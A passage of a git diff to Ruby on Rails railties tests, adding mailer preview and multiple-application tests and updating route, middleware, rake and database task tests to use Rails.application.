 
     assert !Rails.initialized?
-    assert !AppTemplate::Application.initialized?
+    assert !Rails.application.initialized?
     Rails.initialize!
     assert Rails.initialized?
-    assert AppTemplate::Application.initialized?
+    assert Rails.application.initialized?
   end
 
   protected
diff --git a/railties/test/application/mailer_previews_test.rb b/railties/test/application/mailer_previews_test.rb
new file mode 100644
index 0000000..c588fd7
--- /dev/null
+++ b/railties/test/application/mailer_previews_test.rb
@@ -0,0 +1,428 @@
+require 'isolation/abstract_unit'
+require 'rack/test'
+module ApplicationTests
+  class MailerPreviewsTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app
+      boot_rails
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    test "/rails/mailers is accessible in development" do
+      app("development")
+      get "/rails/mailers"
+      assert_equal 200, last_response.status
+    end
+
+    test "/rails/mailers is not accessible in production" do
+      app("production")
+      get "/rails/mailers"
+      assert_equal 404, last_response.status
+    end
+
+    test "mailer previews are loaded from the default preview_path" do
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from at example.com"
+
+          def foo
+            mail to: "to at example.org"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app('development')
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+    end
+
+    test "mailer previews are loaded from a custom preview_path" do
+      add_to_config "config.action_mailer.preview_path = '#{app_path}/lib/mailer_previews'"
+
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from at example.com"
+
+          def foo
+            mail to: "to at example.org"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      app_file 'lib/mailer_previews/notifier_preview.rb', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app('development')
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+    end
+
+    test "mailer previews are reloaded across requests" do
+      app('development')
+
+      get "/rails/mailers"
+      assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from at example.com"
+
+          def foo
+            mail to: "to at example.org"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+      remove_file 'test/mailers/previews/notifier_preview.rb'
+      sleep(1)
+
+      get "/rails/mailers"
+      assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+    end
+
+    test "mailer preview actions are added and removed" do
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from at example.com"
+
+          def foo
+            mail to: "to at example.org"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app('development')
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+      assert_no_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from at example.com"
+
+          def foo
+            mail to: "to at example.org"
+          end
+
+          def bar
+            mail to: "to at example.net"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      text_template 'notifier/bar', <<-RUBY
+        Goodbye, World!
+      RUBY
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+
+          def bar
+            Notifier.bar
+          end
+        end
+      RUBY
+
+      sleep(1)
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from at example.com"
+
+          def foo
+            mail to: "to at example.org"
+          end
+        end
+      RUBY
+
+      remove_file 'app/views/notifier/bar.text.erb'
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      sleep(1)
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+      assert_no_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+    end
+
+    test "mailer previews are reloaded from a custom preview_path" do
+      add_to_config "config.action_mailer.preview_path = '#{app_path}/lib/mailer_previews'"
+
+      app('development')
+
+      get "/rails/mailers"
+      assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from at example.com"
+
+          def foo
+            mail to: "to at example.org"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      app_file 'lib/mailer_previews/notifier_preview.rb', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+      remove_file 'lib/mailer_previews/notifier_preview.rb'
+      sleep(1)
+
+      get "/rails/mailers"
+      assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+    end
+
+    test "mailer preview not found" do
+      app('development')
+      get "/rails/mailers/notifier"
+      assert last_response.not_found?
+      assert_match "Mailer preview 'notifier' not found", last_response.body
+    end
+
+    test "mailer preview email not found" do
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from at example.com"
+
+          def foo
+            mail to: "to at example.org"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app('development')
+
+      get "/rails/mailers/notifier/bar"
+      assert last_response.not_found?
+      assert_match "Email 'bar' not found in NotifierPreview", last_response.body
+    end
+
+    test "mailer preview email part not found" do
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from at example.com"
+
+          def foo
+            mail to: "to at example.org"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app('development')
+
+      get "/rails/mailers/notifier/foo?part=text%2Fhtml"
+      assert last_response.not_found?
+      assert_match "Email part 'text/html' not found in NotifierPreview#foo", last_response.body
+    end
+
+    test "message header uses full display names" do
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "Ruby on Rails <core at rubyonrails.org>"
+
+          def foo
+            mail to: "Andrew White <andyw at pixeltrix.co.uk>",
+                 cc: "David Heinemeier Hansson <david at heinemeierhansson.com>"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app('development')
+
+      get "/rails/mailers/notifier/foo"
+      assert_equal 200, last_response.status
+      assert_match "Ruby on Rails <core at rubyonrails.org>", last_response.body
+      assert_match "Andrew White <andyw at pixeltrix.co.uk>", last_response.body
+      assert_match "David Heinemeier Hansson <david at heinemeierhansson.com>", last_response.body
+    end
+
+    test "part menu selects correct option" do
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from at example.com"
+
+          def foo
+            mail to: "to at example.org"
+          end
+        end
+      RUBY
+
+      html_template 'notifier/foo', <<-RUBY
+        <p>Hello, World!</p>
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app('development')
+
+      get "/rails/mailers/notifier/foo.html"
+      assert_equal 200, last_response.status
+      assert_match '<option selected value="?part=text%2Fhtml">View as HTML email</option>', last_response.body
+
+      get "/rails/mailers/notifier/foo.txt"
+      assert_equal 200, last_response.status
+      assert_match '<option selected value="?part=text%2Fplain">View as plain-text email</option>', last_response.body
+    end
+
+    private
+      def build_app
+        super
+        app_file "config/routes.rb", "Rails.application.routes.draw do; end"
+      end
+
+      def mailer(name, contents)
+        app_file("app/mailers/#{name}.rb", contents)
+      end
+
+      def mailer_preview(name, contents)
+        app_file("test/mailers/previews/#{name}_preview.rb", contents)
+      end
+
+      def html_template(name, contents)
+        app_file("app/views/#{name}.html.erb", contents)
+      end
+
+      def text_template(name, contents)
+        app_file("app/views/#{name}.text.erb", contents)
+      end
+  end
+end
diff --git a/railties/test/application/middleware/cache_test.rb b/railties/test/application/middleware/cache_test.rb
index b8e0c9b..b4db840 100644
--- a/railties/test/application/middleware/cache_test.rb
+++ b/railties/test/application/middleware/cache_test.rb
@@ -45,7 +45,7 @@ module ApplicationTests
       RUBY
 
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get ':controller(/:action)'
         end
       RUBY
diff --git a/railties/test/application/middleware/session_test.rb b/railties/test/application/middleware/session_test.rb
index 8cb0dfe..31a64c2 100644
--- a/railties/test/application/middleware/session_test.rb
+++ b/railties/test/application/middleware/session_test.rb
@@ -49,7 +49,7 @@ module ApplicationTests
 
     test "session is empty and isn't saved on unverified request when using :null_session protect method" do
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get  ':controller(/:action)'
           post ':controller(/:action)'
         end
@@ -90,7 +90,7 @@ module ApplicationTests
 
     test "cookie jar is empty and isn't saved on unverified request when using :null_session protect method" do
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get  ':controller(/:action)'
           post ':controller(/:action)'
         end
@@ -131,7 +131,7 @@ module ApplicationTests
 
     test "session using encrypted cookie store" do
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get ':controller(/:action)'
         end
       RUBY
@@ -176,7 +176,7 @@ module ApplicationTests
 
     test "session upgrading signature to encryption cookie store works the same way as encrypted cookie store" do
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get ':controller(/:action)'
         end
       RUBY
@@ -225,7 +225,7 @@ module ApplicationTests
 
     test "session upgrading signature to encryption cookie store upgrades session to encrypted mode" do
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get ':controller(/:action)'
         end
       RUBY
@@ -284,7 +284,7 @@ module ApplicationTests
 
     test "session upgrading legacy signed cookies to new signed cookies" do
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get ':controller(/:action)'
         end
       RUBY
@@ -318,7 +318,7 @@ module ApplicationTests
 
       add_to_config <<-RUBY
         config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
-        config.secret_key_base = nil
+        secrets.secret_key_base = nil
       RUBY
 
       require "#{app_path}/config/environment"
diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb
index a74d60a..1557b90 100644
--- a/railties/test/application/middleware_test.rb
+++ b/railties/test/application/middleware_test.rb
@@ -19,6 +19,8 @@ module ApplicationTests
     end
 
     test "default middleware stack" do
+      add_to_config "config.active_record.migration_error = :page_load"
+
       boot!
 
       assert_equal [
@@ -35,6 +37,7 @@ module ApplicationTests
         "ActionDispatch::RemoteIp",
         "ActionDispatch::Reloader",
         "ActionDispatch::Callbacks",
+        "ActiveRecord::Migration::CheckPending",
         "ActiveRecord::ConnectionAdapters::ConnectionManagement",
         "ActiveRecord::QueryCache",
         "ActionDispatch::Cookies",
@@ -58,7 +61,15 @@ module ApplicationTests
 
       boot!
 
-      assert_equal "Rack::Cache", middleware.first
+      assert middleware.include?("Rack::Cache")
+    end
+
+    test "ActiveRecord::Migration::CheckPending is present when active_record.migration_error is set to :page_load" do
+      add_to_config "config.active_record.migration_error = :page_load"
+
+      boot!
+
+      assert middleware.include?("ActiveRecord::Migration::CheckPending")
     end
 
     test "ActionDispatch::SSL is present when force_ssl is set" do
@@ -72,7 +83,7 @@ module ApplicationTests
       add_to_config "config.ssl_options = { host: 'example.com' }"
       boot!
 
-      assert_equal AppTemplate::Application.middleware.first.args, [{host: 'example.com'}]
+      assert_equal Rails.application.middleware.first.args, [{host: 'example.com'}]
     end
 
     test "removing Active Record omits its middleware" do
@@ -80,6 +91,7 @@ module ApplicationTests
       boot!
       assert !middleware.include?("ActiveRecord::ConnectionAdapters::ConnectionManagement")
       assert !middleware.include?("ActiveRecord::QueryCache")
+      assert !middleware.include?("ActiveRecord::Migration::CheckPending")
     end
 
     test "removes lock if cache classes is set" do
@@ -132,6 +144,12 @@ module ApplicationTests
       assert_equal "Rack::Config", middleware.second
     end
 
+    test 'unshift middleware' do
+      add_to_config 'config.middleware.unshift Rack::Config'
+      boot!
+      assert_equal 'Rack::Config', middleware.first
+    end
+
     test "Rails.cache does not respond to middleware" do
       add_to_config "config.cache_store = :memory_store"
       boot!
@@ -209,7 +227,7 @@ module ApplicationTests
       end
 
       def middleware
-        AppTemplate::Application.middleware.map(&:klass).map(&:name)
+        Rails.application.middleware.map(&:klass).map(&:name)
       end
   end
 end
diff --git a/railties/test/application/multiple_applications_test.rb b/railties/test/application/multiple_applications_test.rb
new file mode 100644
index 0000000..f8d8a67
--- /dev/null
+++ b/railties/test/application/multiple_applications_test.rb
@@ -0,0 +1,174 @@
+require 'isolation/abstract_unit'
+
+module ApplicationTests
+  class MultipleApplicationsTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app(initializers: true)
+      boot_rails
+      require "#{rails_root}/config/environment"
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def test_cloning_an_application_makes_a_shallow_copy_of_config
+      clone = Rails.application.clone
+
+      assert_equal Rails.application.config, clone.config, "The cloned application should get a copy of the config"
+      assert_equal Rails.application.config.secret_key_base, clone.config.secret_key_base, "The base secret key on the config should be the same"
+    end
+
+    def test_inheriting_multiple_times_from_application
+      new_application_class = Class.new(Rails::Application)
+
+      assert_not_equal Rails.application.object_id, new_application_class.instance.object_id
+    end
+
+    def test_initialization_of_multiple_copies_of_same_application
+      application1 = AppTemplate::Application.new
+      application2 = AppTemplate::Application.new
+
+      assert_not_equal Rails.application.object_id, application1.object_id, "New applications should not be the same as the original application"
+      assert_not_equal Rails.application.object_id, application2.object_id, "New applications should not be the same as the original application"
+    end
+
+    def test_initialization_of_application_with_previous_config
+      application1 = AppTemplate::Application.new(config: Rails.application.config)
+      application2 = AppTemplate::Application.new
+
+      assert_equal Rails.application.config, application1.config, "Creating a new application while setting an initial config should result in the same config"
+      assert_not_equal Rails.application.config, application2.config, "New applications without setting an initial config should not have the same config"
+    end
+
+    def test_initialization_of_application_with_previous_railties
+      application1 = AppTemplate::Application.new(railties: Rails.application.railties)
+      application2 = AppTemplate::Application.new
+
+      assert_equal Rails.application.railties, application1.railties
+      assert_not_equal Rails.application.railties, application2.railties
+    end
+
+    def test_initialize_new_application_with_all_previous_initialization_variables
+      application1 = AppTemplate::Application.new(
+        config:           Rails.application.config,
+        railties:         Rails.application.railties,
+        routes_reloader:  Rails.application.routes_reloader,
+        reloaders:        Rails.application.reloaders,
+        routes:           Rails.application.routes,
+        helpers:          Rails.application.helpers,
+        app_env_config:   Rails.application.env_config
+      )
+
+      assert_equal Rails.application.config, application1.config
+      assert_equal Rails.application.railties, application1.railties
+      assert_equal Rails.application.routes_reloader, application1.routes_reloader
+      assert_equal Rails.application.reloaders, application1.reloaders
+      assert_equal Rails.application.routes, application1.routes
+      assert_equal Rails.application.helpers, application1.helpers
+      assert_equal Rails.application.env_config, application1.env_config
+    end
+
+    def test_rake_tasks_defined_on_different_applications_go_to_the_same_class
+      $run_count = 0
+
+      application1 = AppTemplate::Application.new
+      application1.rake_tasks do
+        $run_count += 1
+      end
+
+      application2 = AppTemplate::Application.new
+      application2.rake_tasks do
+        $run_count += 1
+      end
+
+      require "#{app_path}/config/environment"
+
+      assert_equal 0, $run_count, "The count should stay at zero without any calls to the rake tasks"
+      require 'rake'
+      require 'rake/testtask'
+      require 'rdoc/task'
+      Rails.application.load_tasks
+      assert_equal 2, $run_count, "Calling a rake task should result in two increments to the count"
+    end
+
+    def test_multiple_applications_can_be_initialized
+      assert_nothing_raised { AppTemplate::Application.new }
+    end
+
+    def test_initializers_run_on_different_applications_go_to_the_same_class
+      application1 = AppTemplate::Application.new
+      $run_count = 0
+
+      AppTemplate::Application.initializer :init0 do
+        $run_count += 1
+      end
+
+      application1.initializer :init1 do
+        $run_count += 1
+      end
+
+      AppTemplate::Application.new.initializer :init2 do
+        $run_count += 1
+      end
+
+      assert_equal 0, $run_count, "Without loading the initializers, the count should be 0"
+
+      # Set config.eager_load to false so that an eager_load warning doesn't pop up
+      AppTemplate::Application.new { config.eager_load = false }.initialize!
+
+      assert_equal 3, $run_count, "There should have been three initializers that incremented the count"
+    end
+
+    def test_consoles_run_on_different_applications_go_to_the_same_class
+      $run_count = 0
+      AppTemplate::Application.console { $run_count += 1 }
+      AppTemplate::Application.new.console { $run_count += 1 }
+
+      assert_equal 0, $run_count, "Without loading the consoles, the count should be 0"
+      Rails.application.load_console
+      assert_equal 2, $run_count, "There should have been two consoles that increment the count"
+    end
+
+    def test_generators_run_on_different_applications_go_to_the_same_class
+      $run_count = 0
+      AppTemplate::Application.generators { $run_count += 1 }
+      AppTemplate::Application.new.generators { $run_count += 1 }
+
+      assert_equal 0, $run_count, "Without loading the generators, the count should be 0"
+      Rails.application.load_generators
+      assert_equal 2, $run_count, "There should have been two generators that increment the count"
+    end
+
+    def test_runners_run_on_different_applications_go_to_the_same_class
+      $run_count = 0
+      AppTemplate::Application.runner { $run_count += 1 }
+      AppTemplate::Application.new.runner { $run_count += 1 }
+
+      assert_equal 0, $run_count, "Without loading the runners, the count should be 0"
+      Rails.application.load_runner
+      assert_equal 2, $run_count, "There should have been two runners that increment the count"
+    end
+
+    def test_isolate_namespace_on_an_application
+      assert_nil Rails.application.railtie_namespace, "Before isolating namespace, the railtie namespace should be nil"
+      Rails.application.isolate_namespace(AppTemplate)
+      assert_equal Rails.application.railtie_namespace, AppTemplate, "After isolating namespace, we should have a namespace"
+    end
+
+    def test_inserting_configuration_into_application
+      app = AppTemplate::Application.new(config: Rails.application.config)
+      new_config = Rails::Application::Configuration.new("root_of_application")
+      new_config.secret_key_base = "some_secret_key_dude"
+      app.config.secret_key_base = "a_different_secret_key"
+
+      assert_equal "a_different_secret_key", app.config.secret_key_base, "The configuration's secret key should be set."
+      app.config = new_config
+      assert_equal "some_secret_key_dude", app.config.secret_key_base, "The configuration's secret key should have changed."
+      assert_equal "root_of_application", app.config.root, "The root should have changed to the new config's root."
+      assert_equal new_config, app.config, "The application's config should have changed to the new config."
+    end
+  end
+end
diff --git a/railties/test/application/rake/dbs_test.rb b/railties/test/application/rake/dbs_test.rb
index 9e711f2..5335568 100644
--- a/railties/test/application/rake/dbs_test.rb
+++ b/railties/test/application/rake/dbs_test.rb
@@ -1,4 +1,5 @@
 require "isolation/abstract_unit"
+require "active_support/core_ext/string/strip"
 
 module ApplicationTests
   module RakeTests
@@ -20,7 +21,7 @@ module ApplicationTests
       end
 
       def set_database_url
-        ENV['DATABASE_URL'] = "sqlite3://:@localhost/#{database_url_db_name}"
+        ENV['DATABASE_URL'] = "sqlite3:#{database_url_db_name}"
         # ensure it's using the DATABASE_URL
         FileUtils.rm_rf("#{app_path}/config/database.yml")
       end
@@ -33,12 +34,12 @@ module ApplicationTests
         Dir.chdir(app_path) do
           output = `bundle exec rake db:create`
           assert_equal output, ""
-          assert File.exists?(expected[:database])
+          assert File.exist?(expected[:database])
           assert_equal expected[:database],
                         ActiveRecord::Base.connection_config[:database]
           output = `bundle exec rake db:drop`
           assert_equal output, ""
-          assert !File.exists?(expected[:database])
+          assert !File.exist?(expected[:database])
         end
       end
 
@@ -60,7 +61,7 @@ module ApplicationTests
           `rails generate model book title:string;
            bundle exec rake db:migrate`
           output = `bundle exec rake db:migrate:status`
-          assert_match(/database:\s+\S+#{expected[:database]}/, output)
+          assert_match(%r{database:\s+\S*#{Regexp.escape(expected[:database])}}, output)
           assert_match(/up\s+\d{14}\s+Create books/, output)
         end
       end
@@ -126,7 +127,7 @@ module ApplicationTests
            bundle exec rake db:migrate db:structure:dump`
           structure_dump = File.read("db/structure.sql")
           assert_match(/CREATE TABLE \"books\"/, structure_dump)
-          `bundle exec rake db:drop db:structure:load`
+          `bundle exec rake environment db:drop db:structure:load`
           assert_match(/#{expected[:database]}/,
                         ActiveRecord::Base.connection_config[:database])
           require "#{app_path}/app/models/book"
@@ -148,12 +149,24 @@ module ApplicationTests
         db_structure_dump_and_load
       end
 
+      test 'db:structure:dump does not dump schema information when no migrations are used' do
+        Dir.chdir(app_path) do
+          # create table without migrations
+          `bundle exec rails runner 'ActiveRecord::Base.connection.create_table(:posts) {|t| t.string :title }'`
+
+          stderr_output = capture(:stderr) { `bundle exec rake db:structure:dump` }
+          assert_empty stderr_output
+          structure_dump = File.read("db/structure.sql")
+          assert_match(/CREATE TABLE \"posts\"/, structure_dump)
+        end
+      end
+
       def db_test_load_structure
         Dir.chdir(app_path) do
           `rails generate model book title:string;
            bundle exec rake db:migrate db:structure:dump db:test:load_structure`
           ActiveRecord::Base.configurations = Rails.application.config.database_configuration
-          ActiveRecord::Base.establish_connection 'test'
+          ActiveRecord::Base.establish_connection :test
           require "#{app_path}/app/models/book"
           #if structure is not loaded correctly, exception would be raised
           assert Book.count, 0
@@ -166,6 +179,15 @@ module ApplicationTests
         require "#{app_path}/config/environment"
         db_test_load_structure
       end
+
+      test 'db:test deprecation' do
+        require "#{app_path}/config/environment"
+        Dir.chdir(app_path) do
+          output = `bundle exec rake db:migrate db:test:prepare 2>&1`
+          assert_equal "WARNING: db:test:prepare is deprecated. The Rails test helper now maintains " \
+                       "your test schema automatically, see the release notes for details.\n", output
+        end
+      end
     end
   end
 end
diff --git a/railties/test/application/rake/migrations_test.rb b/railties/test/application/rake/migrations_test.rb
index 33c7538..b7fd5d0 100644
--- a/railties/test/application/rake/migrations_test.rb
+++ b/railties/test/application/rake/migrations_test.rb
@@ -153,6 +153,37 @@ module ApplicationTests
            assert_match(/up\s+\d{3,}\s+Add email to users/, output)
         end
       end
+
+      test 'schema generation when dump_schema_after_migration is set' do
+        add_to_config('config.active_record.dump_schema_after_migration = false')
+
+        Dir.chdir(app_path) do
+          `rails generate model book title:string;
+           bundle exec rake db:migrate`
+
+          assert !File.exist?("db/schema.rb")
+        end
+
+        add_to_config('config.active_record.dump_schema_after_migration = true')
+
+        Dir.chdir(app_path) do
+          `rails generate model author name:string;
+           bundle exec rake db:migrate`
+
+          structure_dump = File.read("db/schema.rb")
+          assert_match(/create_table "authors"/, structure_dump)
+        end
+      end
+
+      test 'default schema generation after migration' do
+        Dir.chdir(app_path) do
+          `rails generate model book title:string;
+           bundle exec rake db:migrate`
+
+          structure_dump = File.read("db/schema.rb")
+          assert_match(/create_table "books"/, structure_dump)
+        end
+      end
     end
   end
 end
diff --git a/railties/test/application/rake/notes_test.rb b/railties/test/application/rake/notes_test.rb
index 3508f42..05f6338 100644
--- a/railties/test/application/rake/notes_test.rb
+++ b/railties/test/application/rake/notes_test.rb
@@ -24,8 +24,11 @@ module ApplicationTests
         app_file "app/assets/javascripts/application.js", "// TODO: note in js"
         app_file "app/assets/stylesheets/application.css", "// TODO: note in css"
         app_file "app/assets/stylesheets/application.css.scss", "// TODO: note in scss"
+        app_file "app/assets/stylesheets/application.css.sass", "// TODO: note in sass"
+        app_file "app/assets/stylesheets/application.css.less", "// TODO: note in less"
         app_file "app/controllers/application_controller.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in ruby"
         app_file "lib/tasks/task.rake", "# TODO: note in rake"
+        app_file 'app/views/home/index.html.builder', '# TODO: note in builder'
 
         boot_rails
         require 'rake'
@@ -46,9 +49,12 @@ module ApplicationTests
           assert_match(/note in js/, output)
           assert_match(/note in css/, output)
           assert_match(/note in scss/, output)
+          assert_match(/note in sass/, output)
+          assert_match(/note in less/, output)
           assert_match(/note in rake/, output)
+          assert_match(/note in builder/, output)
 
-          assert_equal 9, lines.size
+          assert_equal 12, lines.size
 
           lines.each do |line|
             assert_equal 4, line[0].size
diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb
index 72f2ecb..317e732 100644
--- a/railties/test/application/rake_test.rb
+++ b/railties/test/application/rake_test.rb
@@ -29,11 +29,11 @@ module ApplicationTests
       app_file "config/environment.rb", <<-RUBY
         SuperMiddleware = Struct.new(:app)
 
-        AppTemplate::Application.configure do
+        Rails.application.configure do
           config.middleware.use SuperMiddleware
         end
 
-        AppTemplate::Application.initialize!
+        Rails.application.initialize!
       RUBY
 
       assert_match("SuperMiddleware", Dir.chdir(app_path){ `rake middleware` })
@@ -103,59 +103,33 @@ module ApplicationTests
         Dir.chdir(app_path){ `rake stats` }
     end
 
-    def test_rake_test_uncommitted_always_find_git_in_parent_dir
-      return "FIXME :'("
-      app_name = File.basename(app_path)
-      app_dir = File.dirname(app_path)
-      moved_app_name = app_name + '_moved'
-
-      Dir.chdir(app_dir) do
-        # Go from "./app/" to "./app/app_moved"
-        FileUtils.mv(app_name, moved_app_name)
-        FileUtils.mkdir(app_name)
-        FileUtils.mv(moved_app_name, app_name)
-        # Initialize the git repository and start the test.
-        Dir.chdir(app_name) do
-          `git init`
-          Dir.chdir(moved_app_name){ `rake db:migrate` }
-          silence_stderr { Dir.chdir(moved_app_name) { `rake test:uncommitted` } }
-          assert_equal 0, $?.exitstatus
+    def test_rake_routes_calls_the_route_inspector
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/cart', to: 'cart#show'
         end
-      end
-    end
-
-    def test_rake_test_uncommitted_fails_with_no_scm
-      Dir.chdir(app_path){ `rake db:migrate` }
-      Dir.chdir(app_path) do
-        silence_stderr { `rake test:uncommitted` }
-        assert_equal 1, $?.exitstatus
-      end
-    end
-
-    def test_rake_test_deprecation_messages
-      Dir.chdir(app_path){ `rails generate scaffold user name:string` }
-      Dir.chdir(app_path){ `rake db:migrate` }
+      RUBY
 
-      %w(recent uncommitted).each do |test_suit_name|
-        output = Dir.chdir(app_path) { `rake test:#{test_suit_name} 2>&1` }
-        assert_match(/DEPRECATION WARNING: `rake test:#{test_suit_name}` is deprecated/, output)
-      end
+      output = Dir.chdir(app_path){ `rake routes` }
+      assert_equal "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n", output
     end
 
-    def test_rake_routes_calls_the_route_inspector
+    def test_rake_routes_with_controller_environment
       app_file "config/routes.rb", <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get '/cart', to: 'cart#show'
+          get '/basketball', to: 'basketball#index'
         end
       RUBY
 
+      ENV['CONTROLLER'] = 'cart'
       output = Dir.chdir(app_path){ `rake routes` }
-      assert_equal "Prefix Verb URI Pattern     Controller#Action\ncart GET /cart(.:format) cart#show\n", output
+      assert_equal "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n", output
     end
 
     def test_rake_routes_displays_message_when_no_routes_are_defined
       app_file "config/routes.rb", <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
         end
       RUBY
 
@@ -213,20 +187,20 @@ module ApplicationTests
     def test_scaffold_tests_pass_by_default
       output = Dir.chdir(app_path) do
         `rails generate scaffold user username:string password:string;
-         bundle exec rake db:migrate db:test:clone test`
+         bundle exec rake db:migrate test`
       end
 
-      assert_match(/7 tests, 13 assertions, 0 failures, 0 errors/, output)
+      assert_match(/7 runs, 13 assertions, 0 failures, 0 errors/, output)
